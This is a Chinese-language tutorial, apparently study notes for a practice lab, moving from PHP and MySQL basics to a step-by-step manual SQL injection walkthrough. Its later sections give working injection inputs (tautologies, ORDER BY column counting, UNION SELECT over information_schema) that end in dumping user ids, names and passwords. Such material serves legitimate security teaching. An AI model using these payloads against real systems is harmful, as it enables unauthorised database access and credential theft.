#一、PHP语言基础

##1、PHP 脚本以 <?php 开头,以 ?> 结尾,PHP 文件的默认文件扩展名是 “.php”,PHP 语句以分号结尾(;),PHP 函数 “echo” 的作用是在网页上输出文本 。(在网站根目录下建立)


##2、PHP基本语法:
(1)三种注释的区别

(2)变量规则

(3)单双引号区别

(4)循环语句(与C语言一致)

(5)索引数组,关联数组

(6)三层构架中的信息流

##3、URL (统一资源定位符)
作用:提供资源(通常是文档)的路径或位置

结构:协议://授权/路径?查询

例子:http://www.cobranet.org/about.php?id=1

##4、GET请求和 POST请求
GET和POST是HTTP中定义的客户端可以发送给服务器的两种操作



通过get方法传递参数,注意id参数值,数字和字符串的输出结果,变量$id也可以取其它名字.

但访问的时候要保持URL中?后面参数的名字与变量名一致。

##5、PHP连接到一个 MySQL 数据库,通过 mysql_connect() 函数完成

##6、PHP从数据库中选取数据,通过 SELECT语句完成
select column_name(s) form table_name

##7、完整的sql注入测试页面

#二、mysql

##1、如何在众多数据库中定义到一条数据?
首先是数据库

然后是数据表

最后根据字段确定数据

##2、连接符操作
在一个SQL语句里用多个不同的操作符进行多种比较,常用于 WHERE子句中。

AND:所有由AND连接的条件都为TRUE,SQL语句才会执行

OR:只要OR连接的条件里有一个是TRUE,SQL语句就会执行(永真式)

#三、准备注入的基本知识

##1、附加命令:
union select :联合查询,即前一条查询语句失败后执行后一条语句。

Select * from users where id=-1 union select 1,2,3;

group by:后接数字,表示按照第几列进行排序。

group_concat:将查询结果以一行的形式输出

##2、数字型:
如果数据库查询语句如下:

Select from users where id=$id;

用户的输入是如果是:id=-1 or 1=1

此时构造出来的查询语句为:

Select
from users where id=-1 or 1=1;

此时where的判断条件恒真

##3、字符型:
如果数据库查询语句如下:

Select from users where id=‘$id’;

用户的输入是如果是:id=-1 or 1=1

此时构造出来的查询语句为:

Select
from users where id=‘-1 or 1=1’;

可是如果用户输入是:id=-1‘ or ‘1’=‘1

此时查询语句为:

Select * from users where id=‘-1’ or ‘1’=‘1’;

#四、手动注入

##1、判断是否存在注入,注入是字符型还是数字型
输入1,查询成功:

输入1’ and ‘1’ =’2,查询失败,返回结果为空:

输入1’or ‘1 ’=’1,查询成功:

返回了多个结果,说明存在字符型注入

##2、猜解SQL查询语句中的字段数
输入1’ or 1=1 order by 1 #,查询成功

输入1’ or 1=1 order by 2 #,查询成功

输入1’ or 1=1 order by 3 #,查询失败

注意:说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
(这里也可以通过输入union select 1,2,3…来猜解字段数)

##3、确定显示的字段顺序
输入1’union select 1,2 #,查询成功

##4、获取当前数据库
输入1′ union select 1,database() #,查询成功

对应Surname为当前数据库名

##5、获取数据库中的表
输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功

Information_schema.tables:包含所有数据表名

Information_schema.columns:包含所有字段


其中table_schema字段表示数据库名

table_name字段表示数据表名

column_name字段表示列名

##6、获取表中的字段名
输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查询成功

##7、下载数据
输入1′ or 1=1 union select group_concat(id,first_name,last_name),group_concat(password) from users #,查询成功